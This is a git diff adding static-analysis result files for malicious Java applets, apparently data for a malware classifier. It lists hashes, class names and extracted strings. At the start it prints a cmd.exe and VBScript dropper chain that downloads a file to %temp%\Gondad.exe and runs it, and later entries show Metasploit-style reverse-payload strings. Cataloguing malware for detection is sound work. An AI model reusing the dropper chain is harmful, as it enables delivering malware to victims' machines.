s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\lESEQb5E.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\lESEQb5E.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fa73f6c47a5ec8d1a975300d7839c5c2434f0ed4", "file_name": "java_malicious/5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1", "_id": "681c304f-c286-418f-9dec-56eb04dfb82e", "score": 0, "entropy": 5.882886148043369, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/gB3pDhZ0A5b3dyPo2uEigS0N6OFUdvXdGOXM89TAG8PnI:CzGlIB3pDv130PYEkOF6dpM89bUI", "sha256": "5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1", "md5": "9dd15e50669e120bb4dfe0337760be7b", "parent_sha256": "5d7fb5e40ef151a317fae759605f8c0c2c4ad9e292e1f7ab778c94f21b2f31f1"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298.results b/java_classification/data/malicious/5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298.results
new file mode 100755
index 0000000..8a72dac
--- /dev/null
+++ b/java_classification/data/malicious/5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/xombmjpjpzgph", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "xxjjgolltil", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "9ad0e5d5-b52e-4bcb-b35f-b49a3e67edde", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f37c819e1e01766288446f4dedf19192ab680f8a", "file_name": "java_malicious/5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298", "_id": "9ad0e5d5-b52e-4bcb-b35f-b49a3e67edde", "score": 0, "entropy": 5.201790886485507, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6931, "ssdeep": "96:KMHa8YcbqohqZLvPUdo8pLe2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TJBqdapLexhi/To55UTYwa5hGX1", "sha256": "5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298", "md5": "6f37b01b602228c05dc499af707dc4c0", "parent_sha256": "5e598ff91ea1460e0adfe67e33a555223759c49d625f4a850a7c20508cec4298"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5.results b/java_classification/data/malicious/6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5.results
new file mode 100755
index 0000000..be0e766
--- /dev/null
+++ b/java_classification/data/malicious/6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "baaCCTOl.java", "class_name": "baaCCTOl", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "xybcmf", "init"], "minor_version": 0, "const_pool_count": 68}}, "_id": "aa718f13-a0f9-40e6-8f80-a12b3a4684f7", "verbose": {"java": {"constant strings": ["\\x19\\x0c<\\x01(", "o!tx}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "162bfd0dbb265a7a85e3f2838c1636331797e7c7", "file_name": "java_malicious/6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5", "_id": "aa718f13-a0f9-40e6-8f80-a12b3a4684f7", "score": 0, "entropy": 5.650043275602631, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1114, "ssdeep": "24:Da3yQul2BSLpPnhPQSe5pwblYvMGx9Cg6hkDklu6VETpWpBZqx:DuyFlxLpPuPeblYyg6OgLsGZK", "sha256": "6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5", "md5": "fff5fbf2fdf28101bf139509560a6746", "parent_sha256": "6141e45ecc88a288627b6793476642d925a7a5be2b1967f38aabc973a552cfd5"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068.results b/java_classification/data/malicious/616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068.results
new file mode 100755
index 0000000..999bddd
--- /dev/null
+++ b/java_classification/data/malicious/616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "MyApplet.java", "class_name": "MyApplet", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "QAvczvaesdfawsef", "loisbvg87ef", "DSAfqw2rfwqd", "toHex", "Afvqawfwd", "Gawsfwsfd", "NJNJ", "HJBH", "init", "<clinit>"], "minor_version": 0, "const_pool_count": 313}}, "_id": "0dd568d6-8a84-49ab-ae2b-b6a5518e5508", "verbose": {"java": {"constant strings": ["CvV$sbC#&cY", ".F6F/FMC/&5FY$/bF5Dr$yva$r", ".F6F/FMC/&5FY$/OFCFG,99$#", ".F6F/FMC/&5FY$/OFCFG,99$#G3C$", ".F6F/FMC/&5FY$/SFoC$#", "java.awt.AlphaComposite", ".F6F/FMC/&5FY$/Kvrv#yva$r", "[B", ".F6F/FMC/&5FY$/y,rC&Q&s$rQF0*$abF5Dr$yva$r", ".F6F/!$Fco/bCFC$5$cC", ".F6F/o$0,#&C3/Q$#5&oo&vco", ".F6F/o$0,#&C3/Q#vC$0C&vcOv5F&c", ".F6F/o$0,#&C3/Kva$bv,#0$", ".F6F/c$C/dSZ", "o$Cb$0,#&C3yFcFY$#", "huN6n10 ZFnFxV94RTEZCl2e12hWWUT9gEl1hOBG4OhLLyy55Q 4dNuhhdAHARtsoBkNSL6wmgP0mPHnamCgOGx4fVxgL9WNqBE2T3TZ2rtdCAnDROg GsDicEW5bnIxVxY0m0wDHDxByKKsqDAL99Fyxr596Q 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"0vcCF&co", "Y$CQ#vD$#C3", "vo/cF5$", "", "yF0", "vo/F#04", "+\\'"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b8f872e2dec60684a0bbc3028e16939397172bad", "file_name": "java_malicious/616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068", "_id": "0dd568d6-8a84-49ab-ae2b-b6a5518e5508", "score": 0, "entropy": 6.551092946093283, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 20392, "ssdeep": "384:2WmSz53K2gMrNocBqoegvlojXAj8UVaXHEPLBOZnhEvu/i/IL:2WZgVUqDgvl+jBHUd+Sc", "sha256": "616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068", "md5": "34e31479b161c7a74a54a531b3ccf130", "parent_sha256": "616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527.results b/java_classification/data/malicious/61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527.results
new file mode 100755
index 0000000..ab74d1e
--- /dev/null
+++ b/java_classification/data/malicious/61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Unknown Source", "class_name": "gond1723/Gondattack", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init", "_$1", "paint"], "minor_version": 0, "const_pool_count": 139}}, "_id": "fe4d30b0-44c9-4ce0-ad11-1ac9f914ac94", "verbose": {"java": {"constant strings": ["cXBGX0HxoKP0X0hek", "gond1723.PayloadX", "gond1723.PayloadX$StreamConnector", "/gond1723/PayloadX.class", "/gond1723/PayloadX$StreamConnector.class", "bs", "xiaomaolv", "bn", "si", "null"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ee8e1c12e5253ed1302a8f6c02ecba1a052ca8c8", "file_name": "java_malicious/61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527", "_id": "fe4d30b0-44c9-4ce0-ad11-1ac9f914ac94", "score": 0, "entropy": 5.751768509578271, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2235, "ssdeep": "48:O7M8zhyFl1z3IV/btUICu3fLfFeJhu030eAWmh9R1bKFsB:OjYFl5QDxdeThm7R1lB", "sha256": "61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527", "md5": "ca446e2f68b111cae17d110d367a47bb", "parent_sha256": "61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e.results b/java_classification/data/malicious/61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e.results
new file mode 100755
index 0000000..cf89abd
--- /dev/null
+++ b/java_classification/data/malicious/61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "WARgSFmfcW/umKnJJY", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "74a19277-596f-4c65-8398-ab0cfa66570d", "verbose": {"java": {"constant strings": ["WARgSFmfcW.umKnJJY", ".class", "/WARgSFmfcW.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "WARgSFmfcW.dat", "URL", "", "https:", "WARgSFmfcW/umKnJJYTrustManager.class", "umKnJJYTrustManager.class", "AESPassword", "WARgSFmfcW/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "WARgSFmfcW.umKnJJYTrustManager", "useFor", "java.net.URLConnection", "WARgSFmfcW.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "umKnJJY -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6fb43baf81800148d2ef9b38cf5b0b2b05b11e9f", "file_name": "java_malicious/61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e", "_id": "74a19277-596f-4c65-8398-ab0cfa66570d", "score": 0, "entropy": 6.1479178402377945, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMvDUBD+WJZThmTopxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tBDLtmT4yNvpvUrKYvCkgHzbDrDF", "sha256": "61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e", "md5": "e007ab4dd6658abaa3ec40e3924cec95", "parent_sha256": "61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751.results b/java_classification/data/malicious/638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751.results
new file mode 100755
index 0000000..b4bba14
--- /dev/null
+++ b/java_classification/data/malicious/638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "BeanHiveApplet.java", "class_name": "BeanHiveApplet", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["init", "paint", "stop", "handleEvent", "<init>"], "minor_version": 3, "const_pool_count": 100}}, "_id": "304394c1-59e0-47a9-be9b-238a6d6bc3c7", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}}}, "constant strings": ["Infect a file by pressing this button!"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c9052344bee7cd346d70baddb2da38e7575a1ed5", "file_name": "java_malicious/638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751", "_id": "304394c1-59e0-47a9-be9b-238a6d6bc3c7", "score": 0, "entropy": 5.428325567909242, "libmagic": "compiled Java class data, version 45.3", "file_size": 1305, "ssdeep": "24:cfLYIWpPlEXgYBs+qGoXQSXxaLzpVn6U9a8Dwe+FZfL3RVF92jScC:YUI+toxq3hanHn6U9aOw5TBx2jScC", "sha256": "638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751", "md5": "2ed3799468bf7bc9fa2664e198c451a4", "parent_sha256": "638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/63bf9331385feff0ce657f2e5f442489414e9391cea01c4812d41e6d1b4700c1.results b/java_classification/data/malicious/63bf9331385feff0ce657f2e5f442489414e9391cea01c4812d41e6d1b4700c1.results
new file mode 100755
index 0000000..1a43f7a
--- /dev/null
+++ b/java_classification/data/malicious/63bf9331385feff0ce657f2e5f442489414e9391cea01c4812d41e6d1b4700c1.results
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diff --git a/java_classification/data/malicious/63ce913d5e577087234461fc74242d1c0a92e0ec71476860c747ada80ce5ca22.results b/java_classification/data/malicious/63ce913d5e577087234461fc74242d1c0a92e0ec71476860c747ada80ce5ca22.results
new file mode 100755
index 0000000..5f3cfd9
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diff --git a/java_classification/data/malicious/6433dfce09b63e4fe3722f9a1e0e47e4c9ec4b02107a97c14c9ab07ce4bb1486.results b/java_classification/data/malicious/6433dfce09b63e4fe3722f9a1e0e47e4c9ec4b02107a97c14c9ab07ce4bb1486.results
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diff --git a/java_classification/data/malicious/64ac3576d6ceca41d3c77ec9aea7977e897fc89eca831504667cdc1b4db91a64.results b/java_classification/data/malicious/64ac3576d6ceca41d3c77ec9aea7977e897fc89eca831504667cdc1b4db91a64.results
new file mode 100755
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diff --git a/java_classification/data/malicious/65687b70b5698720ebdd890e731e63109352df055b74705c11ee0b2dbcff02ab.results b/java_classification/data/malicious/65687b70b5698720ebdd890e731e63109352df055b74705c11ee0b2dbcff02ab.results
new file mode 100755
index 0000000..2cc21e7
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+++ b/java_classification/data/malicious/65687b70b5698720ebdd890e731e63109352df055b74705c11ee0b2dbcff02ab.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/6631efb674280f5b61220cce152e6d735fa1a95eef0b4a3bd5902ad65fad53b6.results b/java_classification/data/malicious/6631efb674280f5b61220cce152e6d735fa1a95eef0b4a3bd5902ad65fad53b6.results
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index 0000000..170340a
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diff --git a/java_classification/data/malicious/680751455b2210f8473044231cf50439f485d19c08c0fc954dc9fa0db07047b2.results b/java_classification/data/malicious/680751455b2210f8473044231cf50439f485d19c08c0fc954dc9fa0db07047b2.results
new file mode 100755
index 0000000..4cd4c3a
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+++ b/java_classification/data/malicious/680751455b2210f8473044231cf50439f485d19c08c0fc954dc9fa0db07047b2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GkTBMSRCX.java", "class_name": "hhIji/GkTBMSRCX", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "bNiWStmZ", "AHmqQswFt"], "minor_version": 0, "const_pool_count": 128}}, "_id": "6e47a73d-d271-466a-994f-a4889768db75", "verbose": {"java": {"signatures": ["(Ljava/lang/Class<*>;)V"], "constant strings": ["newInstance", "/$3$k6 &07,1<k\\x04))\\x15 7(,66,*+", "/$3$k6 &07,1<k\\x15 7(,66,*+6", "$!!", "/$3$k6 &07,1<k\\x15 7(,66,*+", "/$3$k6 &07,1<k& 71k\\x06 71,#,&$1 ", "/$3$k+ 1k\\x10\\x17\\t", "/$3$k6 &07,1<k\\x06*! \\x16*07& ", "/$3$k6 &07,1<k\\x157*1 &1,*+\\x01*($,+", "/$3$k6 &07,1<k\\x15 7(,66,*+\\x06*)) &1,*+", "\"\\x0c\\x16\"\\x1c3\\x14", "07)", "$55) 1\\x1a&)$66"], "JAVA String Analysis": {"combined strings entropy": 4.578905826257363}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d7da96f7d1d1609a334303dff1862293e26d8d32", "file_name": "java_malicious/680751455b2210f8473044231cf50439f485d19c08c0fc954dc9fa0db07047b2", "_id": "6e47a73d-d271-466a-994f-a4889768db75", "score": 0, "entropy": 3.6377336619512732, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 12641, "ssdeep": "192:71iewDPOqW1d2dyGb+tqI9fX2ozQtlYaXAg1vLvQvxvEvoPvoJv+HvmQZpY:YDOiyo7UJQCm+PJZ2", "sha256": "680751455b2210f8473044231cf50439f485d19c08c0fc954dc9fa0db07047b2", "md5": "e68af7529d220a4a297f06333ba9c244", "parent_sha256": "680751455b2210f8473044231cf50439f485d19c08c0fc954dc9fa0db07047b2"}}
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diff --git a/java_classification/data/malicious/686875ddf09243108cdde36bf99d21ec88e9b00d6461aa6ea798dc283d90d7be.results b/java_classification/data/malicious/686875ddf09243108cdde36bf99d21ec88e9b00d6461aa6ea798dc283d90d7be.results
new file mode 100755
index 0000000..627a19a
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+++ b/java_classification/data/malicious/686875ddf09243108cdde36bf99d21ec88e9b00d6461aa6ea798dc283d90d7be.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "GBiETwGuQh/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "429a7100-d235-4fe6-9c79-f2417142dba8", "verbose": {"java": {"constant strings": ["GBiETwGuQh.Payload", ".class", "/GBiETwGuQh.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "GBiETwGuQh.dat", "URL", "", "https:", "GBiETwGuQh/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "GBiETwGuQh/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "GBiETwGuQh.PayloadTrustManager", "useFor", "java.net.URLConnection", "GBiETwGuQh.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javakcjzdtD.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f4ef0edf4223cb96c3ea575bad05d2c1951611d1", "file_name": "java_malicious/686875ddf09243108cdde36bf99d21ec88e9b00d6461aa6ea798dc283d90d7be", "_id": "429a7100-d235-4fe6-9c79-f2417142dba8", "score": 0, "entropy": 6.1493441464529095, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tRnzrtmjcyNvpvUrKYvCkgHzbDrDF:5+b/yNvZU+YvaH3B", "sha256": "686875ddf09243108cdde36bf99d21ec88e9b00d6461aa6ea798dc283d90d7be", "md5": "11294a61c3b7c65359ad59325677ee3e", "parent_sha256": "686875ddf09243108cdde36bf99d21ec88e9b00d6461aa6ea798dc283d90d7be"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c.results b/java_classification/data/malicious/69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c.results
new file mode 100755
index 0000000..45e5134
--- /dev/null
+++ b/java_classification/data/malicious/69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/mtizwojetjzhblngrurxk", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "eqxqhfesqfidcnmrxao", "dlwjhtfwfjsuqcfph", "coizkvbelbgsectnhcb", "tfhqvruqcxibtsslcvy", "zpxfuothuoxbjjaezpy", "dqstzbtgxncneyoh", "zvvzmewhnfgyunx", "plbyhaarcbgf", "gkrsctnecteyczrusba", "sjyqycttrkllfvuxqsf", "jpmpinynnaslgaoxpesn", "mefqgglpnmyprwrxlni", "kkjcorhdmqtzijilb", "wkvotkmkmhtszuhvd", "zaectkdmxvlewkngxen", "zsmwwirrhihnhmmoxi"], "minor_version": 0, "const_pool_count": 247}}, "_id": "0d93773a-6896-44a7-beef-0dc0ccba5fc3", "verbose": {"java": {"constant strings": ["evfhqnqzvee", "rflgaodh", "dgriuxyqryvqmw", "zkxisiqdqoynvex", "c", "kr", "mv", "xlifhgfwfphzl", "pelihkficv", "axqzzfagaqkqx", "eofulpmtoh", "hrtj", "cvifywl", "atihrlhx", "qp", "xaarje", "qdl", "jpackdotbsooip", "hisaaqpmhydcdf", "rkmsrwrqh", "thlopkzaugprpzu", "iebkqfiaasxtxt", "torbryxrz", "nhfbdwezx", "qlgwr", "wbuzwwcbvoy", "mymkaboup", "gstkynokwtwpdki", "rvopkmphstwo", "p", "zswo", "kskpxom", "qqfejxkpquh", "gkgfcshjd", "apu", "xl", "wpwilmx", "bpgflpmisni", "i", "rap", "utivvqkrub", "qpynyhcfll", "hossrzcbhcujby", "thdxsm", "qnyqfxgap", "rvnwtaofyepkk", "bxozjglfezwus", "nnkel", "wgzzpnwnqqy", "xzvvxpcll", "clxrlx", "vdfcreohlclu", "dsadryywnvwbta", "jtm", "lwdivatwwnwyiku", "efkdkxnn", "unsch", "peiqzfwwsb", "l", "ipzhdctu", "mo", "gitgpot", "iylpf", "wye", "fvkhcmkby", "qve", "gifcprsffqpohh", "zzkgupwtzulb", "n", "tbyivfxdf", "ntlrdjv", "jnjlrb", "krxrnvabdkhcds", "llmdec", "ka", "bfemdwuz", "k", "jawpcar", "vbaaovssehb", "ctouuqucxfhoje", "qsaiioslduqfo", "xaiqpmpugcs", "h", "izwmsxfdor"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d3b610efc46b8d629e5b0f24e8d7245405540935", "file_name": "java_malicious/69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c", "_id": "0d93773a-6896-44a7-beef-0dc0ccba5fc3", "score": 0, "entropy": 5.5987443908131915, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5131, "ssdeep": "48:Wmi0LrLrrrrrLri1SLrLrrrS3yTzCpuY7iZUiIs4zWmm9FBoEFwtzi4nI2A8b72r:WdETKuYWZRIA9/okw878bQpi1Ri", "sha256": "69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c", "md5": "a4afeec97e5f88b621b1b46bde25bbc6", "parent_sha256": "69029288ce36307f6820cf1a917b2be49252c13febeb69cd274184ad7aab8d6c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55.results b/java_classification/data/malicious/6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55.results
new file mode 100755
index 0000000..e20df01
--- /dev/null
+++ b/java_classification/data/malicious/6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 50, "class_name": "Tw2sradsc9", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "Tw2sradsc9.java", "method_names": ["readObject", "my1getConstructor", "myZ1af6p3dgtfu", "findClass", "m0poguxcl0em", "<init>"], "minor_version": 0, "const_pool_count": 238}}, "_id": "46be6822-76ba-4d1c-9329-c7cb495cdd5b", "verbose": {"java": {"constant strings": ["67za", "fghfghfgh", "P98vvnyhu", "sdfdsfgdfg", "sdfsdfsdf", "dfgdfgdfgdfg", "ytytetr", "dfhsdkjdsff", "1", "Ggk1zukqh", "sdfihsdfkjdsf", "yhi7wsdhskudjs", "789", "s", "sldfihsdfkjshdf", "s76ydgbd", "8fy7huddjfhdfjdddd", "9w8eyhfisd", "sdiufchdskfjs", "sdctg8ofajlcbhjsdjd", "dkfhdf", ".class", "sdiofhdoif", "9ozs8yfhuj", "", "09745934757436593", "fffff", "e5te5yhhyyyyyyyyyyyy", "fgfgf", "123", "8adtgailfushafoijsahdfsdf; ldifuhsdfiu", "78oasdcytasbiuhfdsia7c tnyfgosyfa tow7re ctqo87erwm tcuw87artgesyhfgots w7yegftsdyufgwe2twyif"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1207c5d5b87eb2c074043cd7ced3ecc2a80bda32", "file_name": "java_malicious/6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55", "_id": "46be6822-76ba-4d1c-9329-c7cb495cdd5b", "score": 0, "entropy": 5.9035254446494045, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4436, "ssdeep": "48:SoIkT9TMSqn7EQl3brFRMC8Zen0pktae3WAWEf4UPkTxxsSt9FqQKwHVjYbsfeD3:pSEQl1G475WaJcNbKwHUsf5EN6i", "sha256": "6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55", "md5": "161a5f78944b808f48a5c1ab11dab235", "parent_sha256": "6915243f7b6852c632917174f0a9e82da874104c7324f9984016c3ac95420d55"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb.results b/java_classification/data/malicious/69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb.results
new file mode 100755
index 0000000..105cbf2
--- /dev/null
+++ b/java_classification/data/malicious/69aeeb5c9ec5dbe573d6d1f62607b4bd0a7abe31f3c95b66fd34fcf0b5d7e9bb.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "ecsddfsf.java", "class_name": "ecsddfsf", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "vfbgrhy5eryyfghfgrtsdrg"], "minor_version": 0, "const_pool_count": 165}}, "_id": "b20fbe88-df67-4683-8680-ddc258428aa2", "verbose": {"java": {"constant strings": ["jVFRaNHUvVFRaNHU.NHUlNHUaNHUnNHUgNHU.NHUSNHUyVFRsVFRtVFReVFRmNHU", "dvsgre  sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2dvsgre  sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2dvsgre  sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2", "jNHUaVFRvVFRaNHU.VFRlVFRaNHUnVFRgNHU.VFRSNHUtVFRrNHUiVFRnVFRgVFR", "jNHUaNHUvVFRaVFR.NHUaVFRwNHUtNHU.VFRiVFRmVFRaVFRgNHUeVFR.VFRDNHUaVFRtNHUaNHUBVFRuVFRfNHUfNHUeVFRrNHU", "jNHUaVFRvVFRaVFR.VFRlNHUaVFRnNHUgVFR.VFRONHUbNHUjNHUeVFRcNHUtVFR", "jVFRaNHUvNHUaVFR.NHUbVFReVFRaVFRnVFRsVFR.NHUSVFRtVFRaNHUtNHUeVFRmVFReNHUnVFRtNHU", "jVFRaVFRvNHUaVFR.NHUsVFReVFRcVFRuNHUrNHUiVFRtVFRyVFR.VFRPVFReNHUrNHUmNHUiNHUsVFRsNHUiVFRoVFRnNHUsNHU", "jNHUaVFRvVFRaNHU.NHUsNHUeVFRcNHUuVFRrNHUiVFRtVFRyVFR.VFRPNHUrNHUoVFRtVFReNHUcNHUtNHUiVFRoVFRnVFRDNHUoVFRmNHUaNHUiNHUnVFR", 